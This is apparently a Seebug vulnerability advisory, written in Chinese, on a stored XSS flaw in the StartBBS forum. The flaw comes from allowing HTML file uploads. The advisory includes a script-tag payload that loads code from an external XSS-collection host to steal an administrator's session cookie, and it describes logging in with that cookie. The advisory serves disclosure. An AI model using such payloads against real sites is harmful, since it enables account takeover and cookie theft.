startbbs开源论坛存储型xss可盲打管理员(2)

2013-12-30T00:00:00
ID SSV:95664
Type seebug
Reporter Root
Modified 2013-12-30T00:00:00

Description

简要描述:

startbbs某处设计不当导致存储型xss

详细说明:

之前提交了一个startbbs的存储型xss。 经过审查上传部分的代码,发现没有对恶意的html代码进行检测。 可以盲打管理人员。 \app\controllers\upload.php 代码: public function qiniu() { //定义允许上传的文件扩展名 $ext_arr = array( 'image' => array('gif', 'jpg', 'jpeg', 'png','tiff'), 'media' => array('swf', 'flv', 'mp3', 'wav', 'wma', 'wmv', 'mid', 'avi', 'mpg', 'asf', 'rm', 'rmvb'), 'file' => array('doc', 'docx', 'xls', 'xlsx', 'ppt', 'htm', 'html', 'txt', 'zip', 'rar', 'gz', 'bz2'), ); //省略若干行。。 我们可以看到,在file类型里头,用户允许上传htm,html格式的文件。给xss带来了很大的方便了。 本地测试: 构造一个存在包含<script>alert(1)</script>的页面,然后上传:

<img src="https://images.seebug.org/upload/201312/28201656882c2e73d3460c5ebc480c1d357fe183.jpg" alt="1.jpg" width="600" onerror="javascript:errimg(this);">

访问:

<img src="https://images.seebug.org/upload/201312/28201731a2b0292777c2e9abfdaf1966b839255f.jpg" alt="2.jpg" width="600" onerror="javascript:errimg(this);">

漏洞证明:

我们上传带有: &lt;script src=http://xsserme.sinaapp.com/zBDEVk?1388232904&gt;&lt;/script&gt; 的htm页面。 当管理员访问我们上传好的htm页面之后:得到cookie

<img src="https://images.seebug.org/upload/201312/28202046b767de789d4e21433a6e644df91382ed.jpg" alt="3.jpg" width="600" onerror="javascript:errimg(this);">

然后我们用管理员账户cookie登录(再次证明该bbs的存储型xss危害还是蛮大的):

<img src="https://images.seebug.org/upload/201312/282022286932ab0a5bfe7cd3ce34a59d3a4d860c.jpg" alt="4.jpg" width="600" onerror="javascript:errimg(this);">